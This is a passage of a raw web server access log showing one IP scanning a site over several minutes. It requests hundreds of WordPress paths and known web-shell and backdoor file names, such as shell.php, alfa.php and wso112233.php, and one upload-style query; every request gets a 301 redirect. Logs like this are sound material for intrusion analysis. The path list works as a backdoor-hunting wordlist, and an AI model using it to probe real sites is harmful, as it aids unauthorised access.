"-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:57 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:58 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:59 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:10:59 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:01 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:01 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:02 -0400] "GET /.well-known/acme-challenge/adminfuns.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:03 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:04 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:04 -0400] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:05 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:06 -0400] "GET /.well-known/pki-validation/wp-scripts.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:07 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:08 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:09 -0400] "GET /privacy.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:09 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:10 -0400] "GET /.tmb/cpabpkyk.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:11 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:12 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:13 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:14 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:14 -0400] "GET /.well-known/pki-validation/lang-load-role.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:15 -0400] "GET //doc.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:16 -0400] "GET //wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:17 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:18 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:19 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:20 -0400] "GET /moddofuns.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:21 -0400] "GET /wp/wp-admin/includes/class-wp-page-mvb2yr.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:22 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:23 -0400] "GET /images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:26 -0400] "GET /ayk.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:28 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:32 -0400] "GET /wp-admin/css/colors/blue/index.php/.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:34 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:36 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:37 -0400] "GET /wp-includes/class-wp-cache.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:39 -0400] "GET //user.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:41 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:42 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:43 -0400] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:44 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:45 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:45 -0400] "GET /wp-includes/SimplePie/Exception-class.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:46 -0400] "GET /gawean.PhP7 HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:47 -0400] "GET //wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:47 -0400] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:48 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/sx.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:49 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:49 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:50 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:51 -0400] "GET //sim.php/wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:51 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:52 -0400] "GET /wp-admin/user/network.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:53 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:53 -0400] "GET /.well-known/text.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:54 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:55 -0400] "GET /.tmb/class_api.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:55 -0400] "GET /gh.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:56 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:57 -0400] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:58 -0400] "GET /wp-admin/includes/sx.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:58 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:11:59 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:00 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:00 -0400] "GET /wp-includes/css/SEEP77.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:01 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:02 -0400] "GET /wp-admin/css/colors/blue/blkdimxx.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:03 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:03 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:04 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:05 -0400] "GET /ioxi02.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:05 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:06 -0400] "GET /r3x.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:07 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:08 -0400] "GET /wp-includes/class-ftps.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:10 -0400] "GET /wp-admin/images/thumbs.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:12 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:13 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:13 -0400] "GET /xt/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:14 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:15 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:16 -0400] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:16 -0400] "GET //autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:17 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:18 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:18 -0400] "GET /wp-includes/PHPMailer/upfile_(2).php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:19 -0400] "GET /.well-known/pki-validation/ssl.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:20 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:20 -0400] "GET /wp-admin/css/colors/light/Admin-Author.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:21 -0400] "GET /assets/bypass.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:22 -0400] "GET /wp-admin/css/colors/blue/.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:22 -0400] "GET /wp-includes/rest-api/sx.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:23 -0400] "GET /assets/images/1p.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:23 -0400] "GET /wp-config-premigrate.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:24 -0400] "GET /123.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:25 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:26 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:27 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:29 -0400] "GET /wp-admin/css/colors/blue/blkqvmih.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:30 -0400] "GET /.well-known/pki-validation/amaxx.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:31 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:31 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:32 -0400] "GET /wp-includes/Text/Diff/Engine/com_search.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:33 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:34 -0400] "GET /disagraeed.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:35 -0400] "GET /wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:36 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:37 -0400] "GET /wp-22.php?sfilename=bdkr28tools.php&sfilecontent=&supfiles= HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:37 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:38 -0400] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:39 -0400] "GET /webadmin.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:40 -0400] "GET /checkbox.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:41 -0400] "GET /gebase.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:42 -0400] "GET /old.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:44 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:45 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:46 -0400] "GET /wp-includes/IXR/sx.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:47 -0400] "GET /wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:48 -0400] "GET /.well-known/zxhfwqyt.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:49 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:50 -0400] "GET /wp-includes/rest-api/endpoints/html.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:52 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:53 -0400] "GET /wp-admin/includes/class_api.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:55 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:56 -0400] "GET /wp-admin/images/profile.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:12:58 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:02 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:04 -0400] "GET /wp-includes/amaxx.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:06 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:07 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:08 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:09 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:10 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:12 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:14 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:16 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:17 -0400] "GET /wp-includes/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:18 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:19 -0400] "GET /ioxi001.PhP7 HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:21 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:22 -0400] "GET /nav-menus.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:24 -0400] "GET /assets/app.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:26 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:27 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:28 -0400] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:29 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:29 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:30 -0400] "GET /wp-includes/qw.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:32 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:34 -0400] "GET /img/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:36 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:37 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:37 -0400] "GET /wp-admin/images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:38 -0400] "GET /wp-includes/js/crop/crop.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:39 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:40 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:41 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:42 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:43 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:45 -0400] "GET /.well-known/sx.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:46 -0400] "GET /wp-includes/ID3/sx.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:47 -0400] "GET /profile.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:49 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:50 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:52 -0400] "GET /wp-includes/log403.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:53 -0400] "GET /wp-includes//wp-includes/admin-bar.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:56 -0400] "GET //dropdown.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:57 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:13:59 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:14:02 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:14:04 -0400] "GET /.well-known/pki-validation/Newsupway.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:14:06 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:14:09 -0400] "GET /wp-includes/ID3/cache.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:14:12 -0400] "GET /moded.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:14:14 -0400] "GET //about.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:14:18 -0400] "GET /.well-known/acme-challenge/sx.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:14:19 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:14:21 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:14:23 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:14:24 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:14:26 -0400] "GET /wp-admin/css/sx.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:14:29 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:14:32 -0400] "GET /ern1.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:14:35 -0400] "GET /allez.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:14:37 -0400] "GET /f0x.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:14:41 -0400] "GET /wp-admin/images/system.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:14:46 -0400] "GET /filter.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:14:50 -0400] "GET /css/sgd.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:14:56 -0400] "GET /wp-admin/images/wp-settings.phtml HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:15:03 -0400] "GET /wp-admin/css/colors/blue/blkcdojh.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:15:09 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:15:16 -0400] "GET /wp-includes/customize/amaxx.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:15:22 -0400] "GET /wp-22.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:15:26 -0400] "GET //wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:15:27 -0400] "GET /authorize.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:15:29 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:15:32 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:15:34 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:15:35 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:15:39 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:15:42 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:15:45 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:15:47 -0400] "GET /assets/images/tinyimg.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:15:49 -0400] "GET /wp-admin/user/1.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:15:50 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:15:52 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:15:53 -0400] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:15:54 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:15:55 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:15:55 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:15:56 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:15:57 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:15:59 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:16:00 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:16:01 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:16:03 -0400] "GET /wp-admin/YP1cuvy6WrD.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:16:04 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:16:06 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:16:06 -0400] "GET /gawean.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:16:08 -0400] "GET /wp-includes/js/dist/vendor/vcard.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:16:10 -0400] "GET /smaxx.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:16:11 -0400] "GET /img/dot.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:16:12 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:16:12 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:16:14 -0400] "GET /configure.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:16:16 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:16:17 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:16:18 -0400] "GET //1.php HTTP/1.1" 301 795 "-" "-" 13.94.105.188 - - [28/Apr/2025:09:16:20 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" 